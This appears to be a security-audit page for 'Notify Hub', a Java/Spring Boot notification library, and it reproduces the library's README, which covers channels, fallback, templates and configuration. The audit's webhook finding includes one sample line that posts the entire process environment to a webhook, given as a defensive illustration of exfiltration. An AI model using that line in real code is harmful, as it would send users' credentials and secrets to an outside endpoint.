Notify Hub — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited Notify Hub (Plugin) and scored it 65/100 (yellow). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 31 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 31 flagged
This plugin embeds a chat-platform or request-capture webhook URL (alerts: https://discord.com/api/webhooks/111/aaa). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.
requests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})# user-supplied target; send only a benign status message
requests.post(config.webhook_url, json={"status": "build complete"})Every scanned point with the score it earned and what moved between them.
Aggregate score unchanged between these scans.
The primary manifest — the file an agent reads to learn what this artifact does.
<p align="center"> <picture> <source media="(prefers-color-scheme: dark)" srcset="docs/logo-white.png"/> <img src="docs/logo.png" alt="NotifyHub" width="180"/> </picture> </p>
<h1 align="center">NotifyHub</h1>
<p align="center"> <strong>One API. Every channel.</strong><br/> Unified notification library for Java and Spring Boot. </p>
<p align="center"> <a href="https://openjdk.org/"><img src="https://img.shields.io/badge/Java-17%2B-blue" alt="Java 17+"/></a> <a href="https://spring.io/projects/spring-boot"><img src="https://img.shields.io/badge/Spring%20Boot-3.x-green" alt="Spring Boot 3.x"/></a> <a href="https://central.sonatype.com/namespace/io.github.gabrielbbaldez"><img src="https://img.shields.io/maven-central/v/io.github.gabrielbbaldez/notify-spring-boot-starter" alt="Maven Central"/></a> <a href="LICENSE"><img src="https://img.shields.io/badge/License-MIT-yellow.svg" alt="License: MIT"/></a> <a href="https://github.com/GabrielBBaldez/notify-hub/actions/workflows/ci.yml"><img src="https://github.com/GabrielBBaldez/notify-hub/actions/workflows/ci.yml/badge.svg" alt="CI"/></a> <a href="https://codecov.io/gh/GabrielBBaldez/notify-hub"><img src="https://codecov.io/gh/GabrielBBaldez/notify-hub/graph/badge.svg" alt="codecov"/></a>
</p>
<p align="center"> <a href="https://gabrielbbaldez.github.io/notify-hub/"><strong>Website</strong></a> · <a href="https://gabrielbbaldez.github.io/notify-hub/docs.html"><strong>Documentation</strong></a> · <a href="https://gabrielbbaldez.github.io/notify-hub/docs.html#getting-started"><strong>Getting Started</strong></a> </p>
Stop writing different code for each notification channel. NotifyHub gives you a single fluent API to send notifications via Email, SMS, WhatsApp, Slack, Telegram, Discord, Microsoft Teams, Firebase Push, Webhooks, WebSocket, Google Chat, Twitter/X, LinkedIn, Notion, Twitch, YouTube, Instagram, SendGrid, TikTok Shop, Facebook, AWS SNS, Mailgun, PagerDuty, Kick — or any custom channel you create.
notify.to(user)
.via(EMAIL)
.fallback(SMS)
.priority(Priority.HIGH)
.subject("Order confirmed")
.template("order-confirmed")
.param("orderId", order.getId())
.attach(invoicePdf)
.send();| Problem | Without NotifyHub | With NotifyHub | |
|---|---|---|---|
| <img src="https://cdn.simpleicons.org/gmail" width="16"> | JavaMail config, MIME types, Session... | .via(EMAIL) | |
| 📱 | SMS | Twilio SDK, different API entirely | .via(SMS) |
| <img src="https://cdn.simpleicons.org/whatsapp" width="16"> | Another Twilio setup, prefix logic | .via(WHATSAPP) | |
| <img src="https://cdn.simpleicons.org/slack" width="16"> | Slack | Webhook HTTP, JSON payload | .via(SLACK) |
| <img src="https://cdn.simpleicons.org/telegram" width="16"> | Telegram | Bot API, HTTP client setup | .via(TELEGRAM) |
| <img src="https://cdn.simpleicons.org/discord" width="16"> | Discord | Webhook HTTP, JSON payload | .via(DISCORD) |
| 👥 | Teams | Incoming Webhook, MessageCard JSON | .via(TEAMS) |
| <img src="https://cdn.simpleicons.org/firebase" width="16"> | Push | Firebase Admin SDK, credentials... | .via(PUSH) |
| 🔗 | Webhook | Custom HTTP, payload template | .via(Channel.custom("pagerduty")) |
| <img src="https://cdn.simpleicons.org/socketdotio" width="16"> | WebSocket | Java WebSocket API, reconnect logic | .via(WEBSOCKET) |
| <img src="https://cdn.simpleicons.org/googlechat" width="16"> | Google Chat | Webhook HTTP, JSON payload | .via(GOOGLE_CHAT) |
| <img src="https://cdn.simpleicons.org/x/white" width="16"> | Twitter/X | OAuth 1.0a, API v2 setup | .via(TWITTER) |
| 💼 | OAuth 2.0, REST API setup | .via(LINKEDIN) | |
| <img src="https://cdn.simpleicons.org/notion/white" width="16"> | Notion | Integration Token, API setup | .via(NOTION) |
| <img src="https://cdn.simpleicons.org/twitch" width="16"> | Twitch | OAuth 2.0, Twitch API setup | .via(TWITCH) |
| <img src="https://cdn.simpleicons.org/youtube" width="16"> | YouTube | YouTube Data API v3 setup | .via(YOUTUBE) |
| <img src="https://cdn.simpleicons.org/instagram" width="16"> | Meta Graph API setup | .via(INSTAGRAM) | |
| 📧 | SendGrid | SendGrid API, webhook tracking | .via(Channel.custom("sendgrid")) |
| <img src="https://cdn.simpleicons.org/tiktok/EE1D52" width="16"> | TikTok Shop | HMAC-SHA256, Shop API | .via(TIKTOK_SHOP) |
| <img src="https://cdn.simpleicons.org/facebook" width="16"> | Graph API, Page tokens | .via(FACEBOOK) | |
| ☁️ | AWS SNS | AWS SDK, credentials, ARN | .via(Channel.custom("aws-sns")) |
| <img src="https://cdn.simpleicons.org/mailgun/F06B66" width="16"> | Mailgun | Mailgun API, domain setup | .via(Channel.custom("mailgun")) |
| <img src="https://cdn.simpleicons.org/pagerduty/06AC38" width="16"> | PagerDuty | Events API v2, routing key | .via(Channel.custom("pagerduty")) |
| <img src="https://cdn.simpleicons.org/kick" width="16"> | Kick | Public API, OAuth 2.1 | .via(KICK) |
| Multiple channels | Completely different code for each | Same fluent API | |
| Fallback | Manual try/catch chain | .fallback(SMS) | |
| Retry | Implement yourself | Built-in exponential backoff | |
| Async | Thread pools, CompletableFuture | .sendAsync() | |
| Scheduling | ScheduledExecutor, timer logic | .schedule(Duration.ofMinutes(30)) | |
| Templates | Each channel has its own engine | One template, all channels | |
| i18n | Manual locale resolution | .locale(Locale.PT_BR) | |
| Rate limiting | Token bucket from scratch | Config-driven per-channel | |
| Tracking | Build your own delivery log | Built-in receipts + JPA | |
| Dead letters | Lost in the void | Auto-captured in DLQ | |
| Deduplication | Track sent messages yourself | Built-in content hash / explicit key | |
| Template versions | Manage files manually | .templateVersion("v2") + A/B test | |
| Batch | Loop and pray | .toAll(users).send() | |
| Monitoring | Wire Micrometer yourself | Auto-configured counters | |
| Health checks | Write an Actuator indicator | Auto-configured | |
| Admin UI | Build your own dashboard | Built-in /notify-admin | |
| Circuit breaker | Implement yourself per channel | Built-in per-channel circuit breaker | |
| Orchestration | Manual escalation logic | .orchestrate().first(EMAIL).ifNoOpen(24h).then(PUSH) | |
| A/B testing | External service + glue code | Built-in .abTest("exp").variant(...).split(50,50) | |
| Testing | Mock everything | TestNotifyHub captures all sends | |
| New channel | Build from scratch | Implement one interface |
<dependency>
<groupId>io.github.gabrielbbaldez</groupId>
<artifactId>notify-spring-boot-starter</artifactId>
<version>1.0.0</version>
</dependency>Need extra channels? Add optional modules: ```xml <!-- SMS + WhatsApp (Twilio) --> <dependency> <groupId>io.github.gabrielbbaldez</groupId> <artifactId>notify-sms</artifactId> <version>1.0.0</version> </dependency>
>
<!-- Slack / Telegram / Discord / Teams / Firebase Push / Webhook --> <dependency> <groupId>io.github.gabrielbbaldez</groupId> <artifactId>notify-slack</artifactId> <version>1.0.0</version> </dependency>
>
<!-- WebSocket / Google Chat --> <dependency> <groupId>io.github.gabrielbbaldez</groupId> <artifactId>notify-websocket</artifactId> <version>1.0.0</version> </dependency> ```
application.ymlnotify:
channels:
email:
host: smtp.gmail.com
port: 587
username: ${GMAIL_USER}
password: ${GMAIL_PASS}
from: [email protected]
from-name: MyApp
tls: true
retry:
max-attempts: 3
strategy: exponential
tracking:
enabled: true@Service
public class OrderService {
private final NotifyHub notify;
public OrderService(NotifyHub notify) {
this.notify = notify;
}
public void confirmOrder(Order order) {
notify.to(order.getCustomer())
.via(Channel.EMAIL)
.subject("Order confirmed!")
.template("order-confirmed")
.param("customerName", order.getCustomer().getName())
.param("orderId", order.getId())
.param("total", order.getTotal())
.send();
}
}That's it. Three steps.
If the primary channel fails, automatically try the next one:
notify.to(user)
.via(Channel.WHATSAPP)
.fallback(Channel.SMS)
.fallback(Channel.EMAIL)
.template("payment-reminder")
.param("amount", "R$ 150,00")
.send();
// Tries WhatsApp -> SMS -> EmailSend through ALL channels simultaneously:
notify.to(user)
.via(Channel.EMAIL)
.via(Channel.SLACK)
.via(Channel.TEAMS)
.subject("Security Alert")
.content("Login from a new device detected")
.sendAll();Send notifications without blocking:
// Fire and forget
notify.to(user)
.via(Channel.EMAIL)
.template("welcome")
.sendAsync();
// Or wait for result
CompletableFuture<Void> future = notify.to(user)
.via(Channel.EMAIL)
.via(Channel.SLACK)
.content("Deploy complete!")
.sendAllAsync();
future.thenRun(() -> log.info("All notifications sent!"));Automatic retry with exponential or fixed backoff:
# application.yml (global)
notify:
retry:
max-attempts: 3
strategy: exponential # waits 1s, 2s, 4s...// Or per-notification
notify.to(user)
.via(Channel.EMAIL)
.retry(3)
.template("invoice")
.send();Create templates in src/main/resources/templates/notify/:
order-confirmed.html (auto-used for email):
<h1>Hello, {{customerName}}!</h1>
<p>Your order <strong>#{{orderId}}</strong> has been confirmed.</p>
<p>Total: <strong>{{total}}</strong></p>order-confirmed.txt (auto-used for SMS/WhatsApp/Slack/Telegram/Discord/Teams):
Hello {{customerName}}, your order #{{orderId}} is confirmed. Total: {{total}}The library picks .html for email and .txt for other channels automatically.
Templates support locale-based resolution with automatic fallback:
// User with locale
notify.to(user)
.via(Channel.EMAIL)
.locale(Locale.forLanguageTag("pt-BR"))
.template("welcome")
.param("name", user.getName())
.send();Template resolution order: welcome_pt_BR.html -> welcome_pt.html -> welcome.html
Your Notifiable can also return a locale:
public class User implements Notifiable {
@Override
public Locale getLocale() {
return Locale.forLanguageTag("pt-BR");
}
}Attach files to email notifications:
notify.to(user)
.via(Channel.EMAIL)
.subject("Your Invoice")
.template("invoice")
.attach("invoice.pdf", pdfBytes, "application/pdf")
.attach(new File("/reports/monthly.xlsx"))
.attach(Attachment.fromFile(contractFile))
.send();Set notification priority. URGENT notifications bypass rate limiting:
notify.to(user)
.via(Channel.EMAIL)
.priority(Priority.URGENT)
.subject("SERVER DOWN!")
.content("Production server is unresponsive")
.send();Available priorities: URGENT (bypasses rate limits), HIGH, NORMAL (default), LOW.
Control notification throughput per-channel:
notify:
rate-limit:
enabled: true
max-requests: 100
window: 1m
channels:
email:
max-requests: 50
window: 1m
sms:
max-requests: 10
window: 1mRate limiting uses a token bucket algorithm. URGENT priority notifications always bypass rate limits.
Failed notifications (after all retries) are automatically captured in the DLQ:
notify:
tracking:
enabled: true
dlq-enabled: trueView and manage dead letters via the admin dashboard at /notify-admin/dlq, or programmatically:
DeadLetterQueue dlq = hub.getDeadLetterQueue();
List<DeadLetter> failed = dlq.findAll();
dlq.remove(deadLetterId); // after manual reprocessingSend notifications to multiple recipients at once:
// By email addresses
notify.toAll(List.of("[email protected]", "[email protected]", "[email protected]"))
.via(Channel.EMAIL)
.subject("System Maintenance")
.template("maintenance-notice")
.param("date", "2025-03-01")
.send();
// By Notifiable entities
notify.toAllNotifiable(users)
.via(Channel.EMAIL)
.template("newsletter")
.send();
// Async batch
notify.toAll(recipients)
.via(Channel.EMAIL)
.template("promo")
.sendAsync();Track every notification with delivery receipts:
notify:
tracking:
enabled: true
type: memory # or "jpa" for database persistence// Send and get a receipt
DeliveryReceipt receipt = notify.to(user)
.via(Channel.EMAIL)
.content("Hello!")
.sendTracked();
System.out.println(receipt.getStatus()); // SENT
System.out.println(receipt.getId()); // uuid
System.out.println(receipt.getTimestamp()); // 2025-01-15T10:30:00ZFor database persistence, add the JPA tracker module:
<dependency>
<groupId>io.github.gabrielbbaldez</groupId>
<artifactId>notify-tracker-jpa</artifactId>
<version>1.0.0</version>
</dependency>notify:
tracking:
enabled: true
type: jpaSchedule notifications for future delivery:
ScheduledNotification scheduled = notify.to(user)
.via(Channel.EMAIL)
.subject("Reminder")
.content("Don't forget your appointment tomorrow!")
.schedule(Duration.ofHours(24));
// Check status
scheduled.getStatus(); // SCHEDULED, SENT, FAILED, CANCELLED
scheduled.getRemainingDelay(); // PT23H59M...
// Cancel if needed
scheduled.cancel();Auto-route notifications based on user preferences:
public class User implements Notifiable {
@Override
public List<Channel> getPreferredChannels() {
return List.of(Channel.WHATSAPP, Channel.SMS, Channel.EMAIL);
}
}
// Auto-routes: WhatsApp (primary) -> SMS (fallback) -> Email (fallback)
notify.notify(user)
.template("order-update")
.param("orderId", "12345")
.send();Conditional routing with rules:
NotificationRouter router = NotificationRouter.builder()
.rule(RoutingRule.timeBasedRule(
LocalTime.of(9, 0), LocalTime.of(18, 0),
Channel.SLACK, Channel.EMAIL)) // Slack during business hours, email after
.build();Make your User entity a notification recipient:
@Entity
public class User implements Notifiable {
private String name;
private String email;
private String phone;
@Override
public String getNotifyEmail() { return email; }
@Override
public String getNotifyPhone() { return phone; }
@Override
public String getNotifyName() { return name; }
@Override
public Locale getLocale() { return Locale.forLanguageTag("pt-BR"); }
@Override
public List<Channel> getPreferredChannels() {
return List.of(Channel.EMAIL, Channel.SMS);
}
}Then just pass the user object:
notify.to(user) // resolves email/phone automatically
.via(Channel.EMAIL)
.template("welcome")
.send();Or use raw addresses:
notify.to("[email protected]").via(Channel.EMAIL).content("Hello!").send();
notify.toPhone("+5511999999999").via(Channel.SMS).content("Code: 1234").send();Prevent duplicate notifications automatically with content hashing or explicit keys:
notify:
deduplication:
enabled: true
ttl: 24h
strategy: content-hash # content-hash | explicit-key | both// Auto-dedup by content hash (same recipient + channel + content = skipped)
notify.to(user).via(EMAIL).content("Order confirmed").send();
notify.to(user).via(EMAIL).content("Order confirmed").send(); // skipped!
// Dedup by explicit key
notify.to(user).via(EMAIL)
.deduplicationKey("order-" + orderId)
.template("order-confirmed")
.send();Strategies:
.deduplicationKey("...")Without Spring Boot:
NotifyHub notify = NotifyHub.builder()
.deduplicationStore(new InMemoryDeduplicationStore(Duration.ofHours(12)))
.channel(emailChannel)
.build();Manage multiple versions of templates for A/B testing or gradual rollouts:
templates/notify/
├── order-confirmed.html ← default version
├── [email protected] ← version v1
├── [email protected] ← version v2
├── [email protected] ← v2 with i18n
└── order-confirmed.txt ← text default// Use a specific version
notify.to(user).via(EMAIL)
.template("order-confirmed")
.templateVersion("v2")
.param("orderId", "123")
.send();
// No version = default template (backward compatible)
notify.to(user).via(EMAIL)
.template("order-confirmed")
.send();
// A/B testing
String version = abTestService.getVariant(user, "email-template");
notify.to(user).via(EMAIL)
.template("welcome")
.templateVersion(version) // "v1" or "v2"
.send();Resolution order: {name}@{version}_{locale}.{variant} → {name}@{version}.{variant} → {name}_{locale}.{variant} → {name}.{variant}
Create your own channel by implementing one interface:
@Component
public class PushChannel implements NotificationChannel {
@Override
public String getName() { return "push"; }
@Override
public void send(Notification notification) {
firebaseClient.send(notification.getRecipient(), notification.getRenderedContent());
}
@Override
public boolean isAvailable() { return true; }
}Use it:
notify.to(user)
.via(Channel.custom("push"))
.template("new-message")
.send();Spring Boot auto-discovers any NotificationChannel bean. No extra config needed.
Monitor notification outcomes with the listener interface:
@Component
public class NotifyMonitor implements NotificationListener {
@Override
public void onSuccess(String channel, String template) {
metrics.increment("notifications.sent." + channel);
}
@Override
public void onFailure(String channel, String template, Exception error) {
log.error("Failed on {}: {}", channel, error.getMessage());
alertService.warn("Channel " + channel + " is failing");
}
@Override
public void onScheduled(String channel, String recipient, Duration delay) {
log.info("Scheduled for {} in {}", recipient, delay);
}
}Or use Spring Application Events (auto-configured):
@Component
public class NotificationEventHandler {
@EventListener
public void onSent(NotificationSentEvent event) {
log.info("Sent via {} to {}", event.getChannel(), event.getRecipient());
}
@EventListener
public void onFailed(NotificationFailedEvent event) {
log.error("Failed: {}", event.getError().getMessage());
}
}Send notifications to multiple destinations per channel using named aliases. Instead of one hardcoded webhook URL or chat ID, configure as many as you need:
Configure in `application.yml`:
notify:
channels:
discord:
webhook-url: ${DISCORD_DEFAULT} # default destination
username: NotifyHub
avatar-url: https://example.com/logo.png
recipients:
alerts: https://discord.com/api/webhooks/111/aaa
devops: https://discord.com/api/webhooks/222/bbb
general: https://discord.com/api/webhooks/333/ccc
slack:
webhook-url: ${SLACK_DEFAULT}
recipients:
engineering: https://hooks.slack.com/services/XXX/YYY/ZZZ
marketing: https://hooks.slack.com/services/AAA/BBB/CCC
telegram:
bot-token: ${TELEGRAM_BOT_TOKEN}
chat-id: ${TELEGRAM_DEFAULT_CHAT}
recipients:
alerts: "-1001234567890"
devops: "-1009876543210"Use with the Java API:
// Send to a named alias
notify.to("alerts").via(DISCORD).content("Server is down!").send();
notify.to("engineering").via(SLACK).content("Deploy complete").send();
notify.to("devops").via(TELEGRAM).content("CPU at 95%").send();
// Send to default (no alias)
notify.to("user").via(DISCORD).content("Hello!").send();
// Pass a raw URL directly (no alias needed)
notify.to("https://discord.com/api/webhooks/444/ddd").via(DISCORD).content("Direct!").send();Use with the MCP Server (AI Agents):
send_discord(recipient="alerts", body="Server is down!")
send_slack(recipient="engineering", body="Deploy complete")
send_telegram(recipient="devops", body="CPU at 95%")Environment variables for MCP/Docker:
# Default webhook
NOTIFY_CHANNELS_DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/111/aaa
# Named recipients (RECIPIENTS_<NAME>)
NOTIFY_CHANNELS_DISCORD_RECIPIENTS_ALERTS=https://discord.com/api/webhooks/222/bbb
NOTIFY_CHANNELS_DISCORD_RECIPIENTS_DEVOPS=https://discord.com/api/webhooks/333/ccc
# Same pattern for all channels
NOTIFY_CHANNELS_SLACK_RECIPIENTS_ENGINEERING=https://hooks.slack.com/services/XXX
NOTIFY_CHANNELS_TELEGRAM_RECIPIENTS_ALERTS=-1001234567890
NOTIFY_CHANNELS_TEAMS_RECIPIENTS_GENERAL=https://outlook.office.com/webhook/XXX
NOTIFY_CHANNELS_GOOGLE_CHAT_RECIPIENTS_TEAM=https://chat.googleapis.com/v1/spaces/XXXResolution order: alias match in recipients map > raw URL/value passthrough > default from config.
Supported on: Discord, Slack, Telegram, Teams, Google Chat.
Decouple notification sending with async message queues. NotifyHub provides two modules:
#### RabbitMQ
<dependency>
<groupId>io.github.gabrielbbaldez</groupId>
<artifactId>notify-queue-rabbitmq</artifactId>
<version>1.0.0</version>
</dependency>spring.rabbitmq.host: localhost
spring.rabbitmq.port: 5672
notify.queue.rabbitmq:
enabled: true
queue-name: notifyhub-notifications
exchange-name: notifyhub-exchange
routing-key: notification
consumer:
enabled: true
concurrency: 1
max-concurrency: 5@Autowired RabbitNotificationProducer producer;
// Enqueue for async delivery
producer.enqueue(QueuedNotification.builder()
.recipient("[email protected]")
.channelName("email")
.subject("Welcome!")
.templateName("welcome")
.params(Map.of("name", "Gabriel"))
.build());
// Consumer picks it up and sends via NotifyHub automatically#### Apache Kafka
<dependency>
<groupId>io.github.gabrielbbaldez</groupId>
<artifactId>notify-queue-kafka</artifactId>
<version>1.0.0</version>
</dependency>spring.kafka.bootstrap-servers: localhost:9092
notify.queue.kafka:
enabled: true
topic: notifyhub-notifications
consumer:
enabled: true
group-id: notifyhub-group
concurrency: 1@Autowired KafkaNotificationProducer producer;
// Same API as RabbitMQ — just different transport
producer.enqueue(QueuedNotification.builder()
.recipient("+5548999999999")
.channelName("sms")
.rawContent("Your code is 1234")
.priority("URGENT")
.build());Both modules support: templates, priority, deduplication keys, delivery tracking, and phone number routing for SMS/WhatsApp.
Per-channel circuit breaker prevents cascading failures. If a channel fails repeatedly, the circuit opens and short-circuits further attempts:
// Without Spring Boot
NotifyHub notify = NotifyHub.builder()
.channel(emailChannel)
.circuitBreaker(CircuitBreakerConfig.defaults()) // 5 failures → open for 30s
.build();
// Custom thresholds
NotifyHub notify = NotifyHub.builder()
.channel(emailChannel)
.circuitBreaker(CircuitBreakerConfig.custom()
.failureThreshold(3)
.openDuration(Duration.ofMinutes(1))
.windowSize(Duration.ofSeconds(30))
.build())
.build();# Spring Boot
notify:
circuit-breaker:
enabled: true
failure-threshold: 5
open-duration: 30s
window-size: 60sStates: CLOSED (normal) → OPEN (rejecting) → HALF_OPEN (testing recovery). The health endpoint includes circuit breaker status per channel.
Limit concurrent sends per channel to prevent resource exhaustion:
NotifyHub notify = NotifyHub.builder()
.channel(emailChannel)
.bulkhead(BulkheadConfig.defaults()) // 10 concurrent per channel
.bulkhead(BulkheadConfig.perChannel(5)) // or custom limit
.build();Build escalation workflows that promote through channels if the user doesn't engage:
notify.to(user)
.orchestrate()
.first(Channel.EMAIL)
.template("order-update")
.ifNoOpen(Duration.ofHours(24))
.then(Channel.PUSH)
.content("You have an unread order update")
.ifNoOpen(Duration.ofHours(48))
.then(Channel.SMS)
.content("Order update waiting — check your email")
.execute();Each step waits for the specified duration before escalating to the next channel.
Built-in deterministic A/B testing for notifications. Variant assignment is hash-based (SHA-256) — the same recipient always gets the same variant:
notify.to(user)
.via(Channel.EMAIL)
.subject("Welcome!")
.abTest("welcome-experiment")
.variant("control", b -> b.template("welcome-v1"))
.variant("new-design", b -> b.template("welcome-v2"))
.split(50, 50);Supports any number of variants with weighted splits. Deterministic hashing ensures consistent experiences across sends.
Schedule recurring notifications with cron expressions:
ScheduledNotification job = notify.to(user)
.via(Channel.EMAIL)
.template("weekly-digest")
.cron("0 9 * * MON"); // Every Monday at 9 AMSupports standard 5-field cron syntax: minute, hour, day-of-month, month, day-of-week. Includes ranges, lists, steps, and named days/months.
Respect user preferences for notification timing:
public class User implements Notifiable {
@Override
public QuietHours getQuietHours() {
return QuietHours.between(
LocalTime.of(22, 0), // 10 PM
LocalTime.of(8, 0), // 8 AM
ZoneId.of("America/Sao_Paulo")
);
}
@Override
public Set<Channel> getOptedOutChannels() {
return Set.of(Channel.SMS); // User opted out of SMS
}
}Notifications sent during quiet hours are delayed to the next allowed window. Opted-out channels are silently skipped.
TestNotifyHub provides a test-friendly wrapper with capturing channels for all built-in channel types:
@Test
void shouldSendWelcomeEmail() {
TestNotifyHub test = TestNotifyHub.create();
test.to("[email protected]")
.via(Channel.EMAIL)
.subject("Welcome")
.content("Hello!")
.send();
assertThat(test.sent()).hasSize(1);
assertThat(test.sent("email").get(0).subject()).isEqualTo("Welcome");
}No mocking needed — TestNotifyHub captures all notifications in memory for assertions. Call test.reset() between tests.
| Channel | Provider | Module | |
|---|---|---|---|
| <img src="https://cdn.simpleicons.org/gmail" width="18"> | SMTP (Gmail, SES, Outlook, any) | notify-email | |
| 📱 | SMS | Twilio | notify-sms |
| <img src="https://cdn.simpleicons.org/whatsapp" width="18"> | Twilio | notify-sms | |
| <img src="https://cdn.simpleicons.org/slack" width="18"> | Slack | Incoming Webhooks | notify-slack |
| <img src="https://cdn.simpleicons.org/telegram" width="18"> | Telegram | Bot API | notify-telegram |
| <img src="https://cdn.simpleicons.org/discord" width="18"> | Discord | Webhooks | notify-discord |
| 👥 | Microsoft Teams | Incoming Webhooks | notify-teams |
| <img src="https://cdn.simpleicons.org/firebase" width="18"> | Push (FCM) | Firebase Cloud Messaging | notify-push-firebase |
| 🔗 | Webhook | Any HTTP endpoint | notify-webhook |
| <img src="https://cdn.simpleicons.org/socketdotio" width="18"> | WebSocket | JDK WebSocket (java.net.http) | notify-websocket |
| <img src="https://cdn.simpleicons.org/googlechat" width="18"> | Google Chat | Webhooks | notify-google-chat |
| <img src="https://cdn.simpleicons.org/x/white" width="18"> | Twitter/X | API v2 (OAuth 1.0a) | notify-twitter |
| 💼 | REST API (OAuth 2.0) | notify-linkedin | |
| <img src="https://cdn.simpleicons.org/notion/white" width="18"> | Notion | API (Integration Token) | notify-notion |
| <img src="https://cdn.simpleicons.org/twitch" width="18"> | Twitch | Helix API (OAuth 2.0 auto-refresh) | notify-twitch |
| <img src="https://cdn.simpleicons.org/youtube" width="18"> | YouTube | Data API v3 (OAuth auto-refresh) | notify-youtube |
| <img src="https://cdn.simpleicons.org/instagram" width="18"> | Meta Graph API | notify-instagram | |
| 📧 | SendGrid | SendGrid API (delivery tracking) | notify-sendgrid |
| <img src="https://cdn.simpleicons.org/tiktok/EE1D52" width="18"> | TikTok Shop | TikTok Shop API (HMAC-SHA256) | notify-tiktok-shop |
| <img src="https://cdn.simpleicons.org/facebook" width="18"> | Graph API (Page + Messenger) | notify-facebook | |
| <img src="https://cdn.simpleicons.org/whatsapp" width="18"> | WhatsApp Cloud | Meta Cloud API (direct, no Twilio) | notify-whatsapp |
| ☁️ | AWS SNS | AWS SDK v2 | notify-aws-sns |
| <img src="https://cdn.simpleicons.org/mailgun/F06B66" width="18"> | Mailgun | Mailgun REST API | notify-mailgun |
| <img src="https://cdn.simpleicons.org/pagerduty/06AC38" width="18"> | PagerDuty | Events API v2 | notify-pagerduty |
| <img src="https://cdn.simpleicons.org/kick" width="18"> | Kick | Public API | notify-kick |
| ➕ | Custom | Any — implement one interface | notify-core |
NotifyHub includes a built-in admin dashboard for monitoring your notification system.
notify:
admin:
enabled: true<dependency>
<groupId>io.github.gabrielbbaldez</groupId>
<artifactId>notify-admin</artifactId>
<version>1.0.0</version>
</dependency>Access at `/notify-admin` to see:
Dark/light theme toggle included — persists across pages via localStorage.
Auto-configured when Micrometer is on the classpath:
<dependency>
<groupId>io.micrometer</groupId>
<artifactId>micrometer-core</artifactId>
</dependency>Exposes counters and gauges via the unified EventBus:
notifyhub.notifications.sent (tags: channel)notifyhub.notifications.failed (tags: channel)notifyhub.notifications.retried (tags: channel)notifyhub.notifications.rate_limited (tags: channel)notifyhub.notifications.deduped (tags: channel)notifyhub.notifications.circuit_opened (tags: channel)notifyhub.notifications.circuit_closed (tags: channel)notifyhub.notifications.send_duration (timer, tags: channel)Auto-configured when Spring Boot Actuator is on the classpath:
GET /actuator/health/notifyhub{
"status": "UP",
"details": {
"email": { "status": "UP", "circuitBreaker": "CLOSED" },
"slack": { "status": "UP", "circuitBreaker": "CLOSED" },
"totalChannels": 2,
"availableChannels": 2
}
}Status: UP (all channels available), DEGRADED (some down), DOWN (all down). When circuit breaker is configured, each channel also reports its circuit state.
GET /actuator/info{
"notifyhub": {
"version": "1.0.0",
"channels": ["email", "slack", "teams"],
"tracking.enabled": true,
"dlq.enabled": true
}
}Auto-configured when Micrometer Observation and an OTel bridge are on the classpath. Add these dependencies to export distributed traces via OTLP:
<dependency>
<groupId>io.micrometer</groupId>
<artifactId>micrometer-tracing-bridge-otel</artifactId>
</dependency>
<dependency>
<groupId>io.opentelemetry</groupId>
<artifactId>opentelemetry-exporter-otlp</artifactId>
</dependency>Configure the OTLP endpoint in application.yml:
management:
tracing:
sampling:
probability: 1.0 # 100% sampling (adjust for production)
otlp:
tracing:
endpoint: http://localhost:4318/v1/tracesCreates observations (spans):
notifyhub.send (tags: channel, template, outcome)notifyhub.schedule (tags: channel, outcome)Compatible with Jaeger, Zipkin, Grafana Tempo, Datadog, and any OTLP-compatible collector.
The Status Webhook listener supports HMAC-SHA256 request signing for security. When configured, every webhook POST includes a X-NotifyHub-Signature header that your server can use to verify the request came from NotifyHub.
notify:
status-webhook:
url: https://your-server.com/webhook
signing-secret: ${WEBHOOK_SECRET} # any secret stringEach request includes the header:
X-NotifyHub-Signature: sha256=<hex-encoded HMAC-SHA256 of request body>Verify in your server:
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(new SecretKeySpec(secret.getBytes(), "HmacSHA256"));
String expected = "sha256=" + HexFormat.of().formatHex(mac.doFinal(body.getBytes()));
boolean valid = MessageDigest.isEqual(expected.getBytes(), signature.getBytes());Full application.yml with all options:
notify:
channels:
email:
host: smtp.gmail.com
port: 587
username: ${GMAIL_USER}
password: ${GMAIL_PASS}
from: [email protected]
from-name: MyApp
tls: true
ssl: false
sms:
account-sid: ${TWILIO_SID}
auth-token: ${TWILIO_TOKEN}
from-number: "+1234567890"
whatsapp:
account-sid: ${TWILIO_SID}
auth-token: ${TWILIO_TOKEN}
from-number: "+14155238886"
slack:
webhook-url: ${SLACK_WEBHOOK}
recipients: # named aliases (optional)
engineering: https://hooks.slack.com/services/XXX
marketing: https://hooks.slack.com/services/YYY
telegram:
bot-token: ${TELEGRAM_BOT_TOKEN}
chat-id: ${TELEGRAM_CHAT_ID}
recipients: # named aliases (optional)
alerts: "-1001234567890"
devops: "-1009876543210"
discord:
webhook-url: ${DISCORD_WEBHOOK}
username: NotifyHub
avatar-url: https://example.com/logo.png
recipients: # named aliases (optional)
alerts: https://discord.com/api/webhooks/111/aaa
devops: https://discord.com/api/webhooks/222/bbb
teams:
webhook-url: ${TEAMS_WEBHOOK}
recipients: # named aliases (optional)
general: https://outlook.office.com/webhook/XXX
push:
credentials-path: ${FIREBASE_CREDENTIALS}
project-id: ${FIREBASE_PROJECT_ID}
webhooks:
- name: pagerduty
url: https://events.pagerduty.com/v2/enqueue
headers:
Authorization: "Token ${PAGERDUTY_TOKEN}"
payload-template: '{"summary":"{{content}}"}'
websocket:
uri: wss://echo.example.com/ws
timeout-ms: 10000
reconnect-enabled: true
reconnect-delay-ms: 5000
max-reconnect-attempts: 3
headers:
Authorization: "Bearer ${WS_TOKEN}"
message-format: '{"type":"notification","content":"{{content}}"}'
google-chat:
webhook-url: ${GOOGLE_CHAT_WEBHOOK}
timeout-ms: 10000
recipients: # named aliases (optional)
team-a: https://chat.googleapis.com/v1/spaces/XXX/messages?key=YYY
team-b: https://chat.googleapis.com/v1/spaces/ZZZ/messages?key=WWW
retry:
max-attempts: 3
strategy: exponential
rate-limit:
enabled: true
max-requests: 100
window: 1m
channels:
email:
max-requests: 50
window: 1m
tracking:
enabled: true
type: memory # memory | jpa
dlq-enabled: true
deduplication:
enabled: true
